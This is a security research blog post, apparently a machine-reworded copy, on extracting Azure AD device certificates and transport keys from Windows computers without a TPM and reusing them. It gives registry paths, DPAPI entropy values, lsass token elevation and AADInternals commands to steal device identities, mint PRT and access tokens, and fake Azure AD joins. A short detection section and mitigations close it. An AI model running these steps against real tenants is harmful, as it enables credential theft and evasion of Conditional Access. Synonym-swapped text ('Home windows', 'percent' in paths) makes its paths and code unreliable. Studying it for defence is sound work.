
In my earlier weblog posts I’ve lined particulars on PRTs, BPRTs, machine compliance, and Azure AD machine be a part of.
On this weblog, I’ll present steal identities of present Azure AD joined units, and faux identies of non-AAD joined Home windows units with AADInternals v0.6.6.
As described in my earlier weblog put up, when the machine is joined or registered to AAD, two set of keys are created.
These key units are Machine key (dkpub/dkpriv) and Transport key (tkpub/tkpriv). Each public keys (dkpub and tkpub) are despatched to Azure AD.
Private and non-private keys are saved within the machine, both on disk (encrypted with DPAPI) or in TPM.
Because of instruments like Mimikatz, I knew that these keys may very well be exported from the units!
Nonetheless, this requires two issues:
- The goal pc is NOT utilizing TPM
- The attacker has native admin permissions to focus on pc
The primary job of the journey was to seek out out is it actually attainable to export the keys. To try this, I wanted to seek out the keys!
Fortunately, Microsoft have an awesome doc displaying the places of keys.
Microsoft legacy CryptoAPI CSP:
Key kind | Directories |
---|---|
Consumer personal | %APPDATApercentMicrosoftCryptoRSAUser SID %APPDATApercentMicrosoftCryptoDSSUser SID |
Native system personal | %ALLUSERSPROFILEpercentApplication DataMicrosoftCryptoRSAS-1-5-18 %ALLUSERSPROFILEpercentApplication DataMicrosoftCryptoDSSS-1-5-18 |
Native service personal | %ALLUSERSPROFILEpercentApplication DataMicrosoftCryptoRSAS-1-5-19 %ALLUSERSPROFILEpercentApplication DataMicrosoftCryptoDSSS-1-5-19 |
Community service personal | %ALLUSERSPROFILEpercentApplication DataMicrosoftCryptoRSAS-1-5-20 %ALLUSERSPROFILEpercentApplication DataMicrosoftCryptoDSSS-1-5-20 |
Shared personal | %ALLUSERSPROFILEpercentApplication DataMicrosoftCryptoRSAMachineKeys %ALLUSERSPROFILEpercentApplication DataMicrosoftCryptoDSSMachineKeys |
Microsoft Cryptography Subsequent Era (CNG):
Key kind | Listing |
---|---|
Consumer personal | %APPDATApercentMicrosoftCryptoKeys |
Native system personal | %ALLUSERSPROFILEpercentApplication DataMicrosoftCryptoSystemKeys |
Native service personal | %WINDIRpercentServiceProfilesLocalService |
Community service personal | %WINDIRpercentServiceProfilesNetworkService |
Shared personal | %ALLUSERSPROFILEpercentApplication DataMicrosoftCryptoKeys |
Machine Certificates (dkpub / dkpriv)
I already knew that the Machine Certificates of Azure AD joined pc is situated in Private retailer of Native Pc.
The topic of that certificates matches the Machine Id of that machine.
There are different machine associated data saved to the certificates in Object Identifiers (OIDs).
The Machine Registration (DRS) protocol documentation has a listing of a few of them, however not all, so I had to do a little analysis on these too.
Here’s what I discovered:
OID | Worth kind | Worth |
---|---|---|
1.2.840.113556.1.5.284.2 | Guid | DeviceId |
1.2.840.113556.1.5.284.3 | Guid | ObjectId |
1.2.840.113556.1.5.284.5 | Guid | TenantId |
1.2.840.113556.1.5.284.7 | String | Be part of kind: 0 = registered 1 = joined |
1.2.840.113556.1.5.284.8 | String | Tenant area: AF = Africa AS = Asia AP = Australia/Pasific EU = Europe ME = Center East NA = North America SA = South America |
The OID values are DER encoded. The primary byte 0x04 means BITSTRING, and the second byte the size of size in bytes (0x80 = LENGTH, 0x01 = one byte, 0x80+0x01=0x81). The third is the size of the information in bytes, and the remaining bytes the precise information.
As an illustration, the tenant id is only a byte array presentation of guid object, the place the bytes are grouped otherwise:
However how does Home windows know which certificates to make use of as a Machine Certificates? And the place the personal key’s saved?
Most of you already know that dsregcmd /standing can be utilized to point out particulars about AAD Joined and AAD Registered units much like this (not all data proven):
1+----------------------------------------------------------------------+
2| Machine State |
3+----------------------------------------------------------------------+
4
5 AzureAdJoined : YES
6 EnterpriseJoined : NO
7 DomainJoined : NO
8 Machine Identify : AADJoin02
9
10+----------------------------------------------------------------------+
11| Machine Particulars |
12+----------------------------------------------------------------------+
13
14 DeviceId : ea77c7d5-7b2f-4567-bf0c-c0a4ceb8b679
15 Thumbprint : CEC55C2566633AC8DA3D9E3EAD98A599084D0C4C
16 DeviceCertificateValidity : [ 2022-01-28 11:15:49.000 UTC -- 2032-01-28 11:45:49.000 UTC ]
17 KeyContainerId : 0ad54eab-ba59-4d5b-8ee6-be18fd62b881
18 KeyProvider : Microsoft Software program Key Storage Supplier
19 TpmProtected : NO
20 DeviceAuthStatus : SUCCESS
21
22+----------------------------------------------------------------------+
23| Tenant Particulars |
24+----------------------------------------------------------------------+
25
26 TenantName : Contoso
27 TenantId : c5ff949d-2696-4b68-9e13-055f19ed2d51
28 Idp : login.home windows.internet
29 AuthCodeUrl : https://login.microsoftonline.com/c5ff949d-2696-4b68-9e13-055f19ed2d51/oauth2/authorize
30 AccessTokenUrl : https://login.microsoftonline.com/c5ff949d-2696-4b68-9e13-055f19ed2d51/oauth2/token
31 MdmUrl :
32 MdmTouUrl :
33 MdmComplianceUrl :
34 SettingsUrl :
35 JoinSrvVersion : 2.0
36 JoinSrvUrl : https://enterpriseregistration.home windows.internet/EnrollmentServer/machine/
37 JoinSrvId : urn:ms-drs:enterpriseregistration.home windows.internet
38 KeySrvVersion : 1.0
39 KeySrvUrl : https://enterpriseregistration.home windows.internet/EnrollmentServer/key/
40 KeySrvId : urn:ms-drs:enterpriseregistration.home windows.internet
41 WebAuthNSrvVersion : 1.0
42 WebAuthNSrvUrl : https://enterpriseregistration.home windows.internet/webauthn/c5ff949d-2696-4b68-9e13-055f19ed2d51/
43 WebAuthNSrvId : urn:ms-drs:enterpriseregistration.home windows.internet
44 DeviceManagementSrvVer : 1.0
45 DeviceManagementSrvUrl : https://enterpriseregistration.home windows.internet/handle/c5ff949d-2696-4b68-9e13-055f19ed2d51/
46 DeviceManagementSrvId : urn:ms-drs:enterpriseregistration.home windows.internet
47
48+----------------------------------------------------------------------+
49| Consumer State |
50+----------------------------------------------------------------------+
51
52 NgcSet : NO
53 WorkplaceJoined : NO
54 WamDefaultSet : NO
55
56+----------------------------------------------------------------------+
57| SSO State |
58+----------------------------------------------------------------------+
59
60 AzureAdPrt : NO
61 AzureAdPrtAuthority :
62 EnterprisePrt : NO
63 EnterprisePrtAuthority :
64
65+----------------------------------------------------------------------+
66| Diagnostic Information |
67+----------------------------------------------------------------------+
68
69 AadRecoveryEnabled : NO
70 Executing Account Identify : AADJOIN02PCUser
71 KeySignTest : PASSED
The output reveals some attention-grabbing issues, like thumbprint matching the Machine Certificates thumbprint (line 15), tenant id (line 27) and KeySignTest consequence (line 71). So, time to start out up Course of Monitor
to see what occurs when the dsregcmd /standing is executed.
Trying to find thubmprint revealed that desregcmd.exe was accessing the next registry keys/values:
This tells us that there’s a registry key matching the certificates thumbprint:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlCloudDomainJoinJoinInfo<thumbprint>
Subsequent, I discovered one other registry key, containing many of the Tenant particulars proven by dsregcmd:
This tells us that there’s a registry key matching the tenant id:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlCloudDomainJoinTenantInfo<tenant id>
Whereas shopping down the procmon output, I discovered that lsass.exe was first studying the Machine Certificates after which learn a file from folder that was NOT one of many CNG key shops:
So lsass.exe have to be studying one thing from the certificates that tells the place the bottom line is saved. After some intensive Googling, I discovered at there’s some details about the personal key that may very well be learn.
The next PowerShell script dumps the distinctive identify of the personal key of the Machine Certificates.
# Learn the certificates
$certificates = Get-Merchandise Cert:LocalMachineMyCEC55C2566633AC8DA3D9E3EAD98A599084D0C4C
# Dump the distinctive identify of personal key
[System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($certificates).key.uniquename
The output reveals that the distinctive matches the important thing file from above!
8bff0b7f02f6256b521de95a77d4e70d_321154c9-4462-4db7-aa81-81912067ab9a
This tells us that dkpub and dkpriv are saved to:
%ALLUSERSPROFILEpercentMicrosoftCryptoKeys<distinctive identify of dkpriv>
Word! For AAD Registered units, dkpub and dkpriv are saved to:
%APPDATApercentMicrosoftCryptoKeys<distinctive identify of dkpriv>
Transport keys (tkpub / tkpriv)
Discovering the placement of tkpub and tkpriv was far more more durable than for dkpub and dkpriv.
Spherical 1
I searched the procmon output for “transportkey” and located that lsass.exe was accessing the next registry key to learn SoftwareKeyTransportKey.
Subsequent I seen that lsass.exe was looping by means of the recordsdata at SystemKeys till it appeared to seek out the right key file.
Nonetheless, the file identify didn’t match something I had seen in registry. So how did lsass.exe know which to decide on?
Opening the important thing file in my favorite hex editor HxD confirmed that the important thing file had
a unicode string matching the SoftwareKeyTransportKey!
At this level I assumed that I had all I wanted and jumped to decrypting the personal keys and carried out the features to AADInternals.
Nonetheless, every little thing labored just for one tenant ☹
Spherical 2
After performing some additional testing, it turned out that the registry paths the place the important thing filename was saved have been NOT constants, however that they had dependencies on the consumer (for AAD Registered machine) and the tenant.
It took me nearly a month to determine “calculate” the registry keys. And the truth that AAD Joined and AAD Registered have been utilizing
totally different registry keys didn’t made it any simpler.
So, it was time to herald the large weapons! I began Course of Monitor and let in ran whereas I AAD Registered a tool. I didn’t discover something new although (besides completely totally different registry key identify).
Nonetheless, checking the decision stack revealed calls fo NgcPregenKey operate of ngcpopkeysrv.dll.
Subsequent, I fired up my outdated good friend API Monitor and determined to boldly go the place nobody ought to ever go: monitor lsass.exe in the course of the AAD Register course of ?
I chosen all attainable APIs, hooked to lsass.exe and registered the machine to AAD. After that, I indifferent from the lsass.exe. At this level,
Home windows introduced that it didn’t preferred that and advised me I had one minute to avoid wasting my work earlier than reboot ?
Fortunately, I managed to avoid wasting the API Monitor seize and began to check it.
I looked for the primary a part of the registry path proven within the procmon dump above (“ad8098d0”) and bought a match!
As soon as once more a reference to ngcpopkeysrv.dll.
With excessive hopes, I opened the file in dnSpy but it surely was not a .NET dll ?
The final hope was Ghidra, which I had only recently put in. After I had it up and operating and the dll was loaded,
I began by looking for CryptBinaryToStringW and located a match!
I began to work backwards to seek out which features have been calling this one.
As Ghidra names all of the features as FUN_xxx (even there’s nothing enjoyable about Ghidra!), I renamed features for one thing extra significant, like xConvertBinaryToString above.
Lastly, I discovered a location the place I noticed one thing laborious coded handed to one of many features:
So, the string “login.reside.com” was handed as unicode string to a operate I renamed to xConvertValueToHexString.
Earlier than calling the operate I renamed to xConvertBinaryToString, there was a name to BCryptHash. It appears that evidently Ghidra messed that decision one way or the other,
because the parameters didn’t make any sense.
As all of the registry keys have been 64 charactes lengthy, the hash needed to be SHA256. So, I shortly created a PowerShell script that learn
all of the values from JoinInfo and TenantInfo, transformed to unicode byte array, and calculated the SHA256 hashes. Revenue ! ???
For Azure AD Joined units, the primary key underneath PerDeviceKeyTransportKey is IdpDomain from JoinInfo. That is all the time login.home windows.internet.
The second key underneath that’s TenantId.
The transport key identify of AAD Joined machine is situated to:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlCryptographyNgcKeyTransportKeyPerDeviceKeyTransportKey<SHA256(idp)><SHA256(tenant id)>
For Azure AD Registered units I discovered that one half was UserEmail from JoinInfo. I nonetheless needed to do some extra digging as there was nonetheless one half lacking. I discovered the final trace from
the procmon output. There was a name to memcpy a few traces earlier than name to CryptBinaryStringW. For me, it appeared a partial SID.
After a fast check with PowerShell I might affirm that the lacking half was certainly the SID of the present consumer!
The transport key identify of AAD Registered machine is situated to:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlCryptographyNgcKeyTransportKey<SHA256(sid)><SHA256(idp)><SHA256(tenant id)>_<SHA256(consumer e-mail)>
Decrypting personal keys
Now that we all know the placement of the keys, we have to export these.
After debugging what Mimikatz’s crypto::cng module did, I realized that the recordsdata have been CNG key blobs, containing a set of dkpub/tkpub or dkpriv/tkpriv keys.
For the dkpub/tkpub, there was one property file (Modified) and the precise keys in BCRYPT_RSAKEY_BLOB as BCRYPT_PUBLIC_KEY_BLOB.
For the dkpriv/tkpriv, there was an encrypted property blob (UI Coverage, Machine Identification, and Key Utilization) and the precise keys in encrypted BCRYPT_RSAKEY_BLOB as BCRYPT_PRIVATE_KEY_BLOB together with the personal RSA parameters (P and Q).
I additionally realized from the Mimikatz that dkpriv properties and key blob have been each encrypted with our outdated good friend DPAPI!
So, they need to be comparatively simple to decrypt as I already had carried out performance to raise the present course of to lsass (which is required to get entry to system keys) ?
Add-Sort -path "$PSScriptRootWin32Ntv.dll"
[AADInternals.Native]::copyLsassToken()
Once more, Benjamin had finished an awesome job by determining the entropy wanted for each encrypted blobs. After banging my head to the wall over a weekend, I realised that I used to be simply lacking the null terminator ?
The PowerShell code to decrypt the encrypted blobs:
$DPAPI_ENTROPY_CNG_KEY_PROPERTIES = @(0x36,0x6A,0x6E,0x6B,0x64,0x35,0x4A,0x33,0x5A,0x64,0x51,0x44,0x74,0x72,0x73,0x75,0x00) # "6jnkd5J3ZdQDtrsu" + null terminator
$DPAPI_ENTROPY_CNG_KEY_BLOB = @(0x78,0x54,0x35,0x72,0x5A,0x57,0x35,0x71,0x56,0x56,0x62,0x72,0x76,0x70,0x75,0x41,0x00) # "xT5rZW5qVVbrvpuA" + null terminator
# Decrypt the personal key properties utilizing DPAPI
$decPrivateProperties = [Security.Cryptography.ProtectedData]::Unprotect($privatePropertiesBlob, $DPAPI_ENTROPY_CNG_KEY_PROPERTIES, "LocalMachine")
# Decrypt the personal key blob utilizing DPAPI
$decPrivateBlob = [Security.Cryptography.ProtectedData]::Unprotect($privateKeyBlob, $DPAPI_ENTROPY_CNG_KEY_BLOB, "LocalMachine")
Word! For AAD Registered units, use “CurrentUser” as an alternative of “LocalMachine”
The encrypted personal key was BCRYPT_PRIVATE_KEY_BLOB that has P and Q parameters, however the System.Safety.Cryptography.RSAParameters would additionally want DP, DQ, InverseQ, and D parameters.
This data would have been accessible in BCRYPT_RSAFULLPRIVATE_BLOB. The answer was to make use of NCryptImportKey to import the blob as RSAPRIVATEBLOB and export with NCryptExportKey as RSAFULLPRIVATEBLOB.
Lastly, I carried out the final lacking half, a parser that was in a position to learn BCRYPT_RSAFULLPRIVATE_BLOB and create a System.Safety.Cryptography.RSAParameters object.
Machine Certificates and keys
To export the Machine Certificates and keys, run the next command as administrator:
# Export the machine certificates and keys:
Export-AADIntLocalDeviceCertificate
Output:
Certificates exported to ea77c7d5-7b2f-4567-bf0c-c0a4ceb8b679.pfx
Transport keys
To export the Machine Certificates and keys, run the next AADInternals features as administrator:
# Export the transport key:
Export-AADIntLocalDeviceTransportKey
Output:
WARNING: Working as LOCAL SYSTEM. You MUST restart PowerShell to revive AADJOIN02User rights.
Transport key exported to ea77c7d5-7b2f-4567-bf0c-c0a4ceb8b679_tk.pem
Word: Accessing transport keys requires native system rights, so AADInternals elevates the present session. This
can’t be reversed, so you could open a brand new PowerShell session to return “regular” rights. For AAD Registered units, export the Machine Certificates and keys first!
Now you’ll be able to copy the certificates and transport key to a different location for use later.
Detecting
The detection of exporting the Machine certificates and dkpub/dkpriv & tkpub/tkpriv keys can solely occur on the endpoint.
The subsequent day after publishing this weblog put up, Roberto Rodriguez (@Cyb3rWard0g) printed detection question for Sentinel right here.
For brief, it is best to set an entry management entry (ACE) on system entry management listing (SACL) for the next registry keys:
Key | Word |
---|---|
HKLM:SYSTEMCurrentControlSetControlCloudDomainJoin | AAD Joined units |
HKCU:SOFTWAREMicrosoftWindows NTCurrentVersionWorkplaceJoin | AAD Registered units |
HKLM:SYSTEMCurrentControlSetControlCryptographyNgcKeyTransportKey | Transport Key |
If the consumer accessing these registry keys is NOT lsass, an alarm ought to be raised.
To make use of the stolen identification, run the next AADInternals features:
# Save credentials to a variable (have to be from the identical tenant because the machine)
# If MFA is required, omit the credentials for interactive log in.
$cred = Get-Credential
# Get PRT settings:
$prtKeys = Get-AADIntUserPRTKeys -Credentials $cred -PfxFileName .ea77c7d5-7b2f-4567-bf0c-c0a4ceb8b679.pfx -TransportKeyFileName .ea77c7d5-7b2f-4567-bf0c-c0a4ceb8b679_tk.pem
# Create a PRT token:
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GetNonce
# Get entry token:
$at = Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
Output:
Keys saved to ea77c7d5-7b2f-4567-bf0c-c0a4ceb8b679.json
Now, let’s see how the entry token appears to be like like:
# Dump the entry token
Learn-AADIntAccesstoken -AccessToken $at
Output:
1aud : https://graph.home windows.internet
2iss : https://sts.home windows.internet/2cd0c645-212d-46cc-be2b-e3ab9b4434ac/
3iat : 1644169150
4nbf : 1644169150
5exp : 1644173781
6acr : 1
7amr : {pwd, rsa, mfa}
8appid : 1b730954-1685-4b74-9bfd-dac224a7b894
9appidacr : 0
10deviceid : ea77c7d5-7b2f-4567-bf0c-c0a4ceb8b679
11family_name : John
12given_name : Doe
13ipaddr : 214.63.172.228
14identify : John Doe
15oid : 47bd560e-fd5e-42c5-b51b-ce963892805f
16onprem_sid : S-1-5-21-1357286652-147530443-861848650-6407
17scp : user_impersonation
18tenant_region_scope : EU
19tid : 2cd0c645-212d-46cc-be2b-e3ab9b4434ac1
20unique_name : [email protected]
21upn : [email protected]
22ver : 1.0
As we will see, the entry tokens obtained utilizing the PRT token could have the deviceId declare (line 10).
Relying on how did you get the PRT keys, you’ll even have rsa and probably mfa claims (line 7).
What about doing this the opposite method round – wouldn’t it be attainable to faux the identification of Home windows pc? For brief, sure it’s!
We’ve two choices:
- Create a faux machine identification with AADInternals
- Use the stolen identification
Solely distinction is that the previous makes use of only one .pfx file, whereas the stolen identification has additionally the transport key in .pem file.
When “becoming a member of” the native machine, AADInternals emulates the true be a part of course of and can do the next:
- Create a P2P certificates
- Import the machine and P2P certificates
- Import P2P CA to AAD Token Issuer
- Retailer transportkey
- Set registry data
- Begin scheduled duties
To create a faux machine with AADInternals:
# Get an entry token for AAD be a part of and save to cache
Get-AADIntAccessTokenForAADJoin -SaveToCache
# Be part of the faux machine to Azure AD
Be part of-AADIntDeviceToAzureAD -DeviceName "My pc" -DeviceType "Commodore" -OSVersion "C64"
Output ought to be much like under.
Machine efficiently registered to Azure AD:
DisplayName: "My pc"
DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7
ObjectId: afdeac87-b32a-41a0-95ad-0a555a91f0a4
TenantId: 8aeb6b82-6cc7-4e33-becd-97566b330f5b
Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689
Cert file identify : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx"
Native SID:
S-1-5-32-544
Further SIDs:
S-1-12-1-797902961-1250002609-2090226073-616445738
S-1-12-1-3408697635-1121971140-3092833713-2344201430
S-1-12-1-2007802275-1256657308-2098244751-2635987013
Now we’re prepared faux the identification of our non-AAD joined Home windows pc! The machine could have a TPM, that doesn’t matter.
To “be a part of” the pc with a faux identification created above:
# Be part of the machine utilizing the faux identification
Be part of-AADIntLocalDeviceToAzureAD -UserPrincipalName "[email protected]" -PfxFileName .d03994c9-24f8-41ba-a156-1805998d6dc7.pfx
Output:
Machine P2P certificates efficiently created:
Topic: "CN=d03994c9-24f8-41ba-a156-1805998d6dc7, DC=8aeb6b82-6cc7-4e33-becd-97566b330f5b"
DnsNames: "d03994c9-24f8-41ba-a156-1805998d6dc7"
Issuer: "CN=MS-Group-P2P-Entry [2021]"
Cert thumbprint: A5F4752D34F90A8E7B14C985C4AA77AB583CD1F1
Cert file identify : "d03994c9-24f8-41ba-a156-1805998d6dc7-P2P.pfx"
CA file identify : "d03994c9-24f8-41ba-a156-1805998d6dc7-P2P-CA.der"
Machine configured. To substantiate success, restart and run: dsregcmd /standing
To “be a part of” the pc with the stolen identification from above:
# Be part of the machine utilizing the stolen identification
Be part of-AADIntLocalDeviceToAzureAD -UserPrincipalName "[email protected]" -PfxFileName .ea77c7d5-7b2f-4567-bf0c-c0a4ceb8b679.pfx -TransportKeyFileName .ea77c7d5-7b2f-4567-bf0c-c0a4ceb8b679_tk.pem
After updating the be a part of data, restart the pc and log in with the username used above.
On this weblog put up, I confirmed three issues:
- Methods to export the machine certificates and transport key of Azure Joined or Registered units from Home windows computer systems not having TPM
- Methods to use the stolen machine identification
- Methods to faux AAD Be part of by configuring non-AAD joined Home windows pc to make use of the supplied certificates (and transport key)
Stealing (and faking) machine identities permits risk actors to entry the goal tenant utilizing the identification of the stolen or faked machine.
This will likely enable evading machine primarily based Conditional Entry (CA) insurance policies, because the compliance of the machine is assessed in opposition to the unique machine.
Take-aways:
- Use solely units geared up with a TPM
- Take away native admin rights from normal customers on AAD Joined units
- Don’t enable customers to affix their very own units
+ There are no comments
Add yours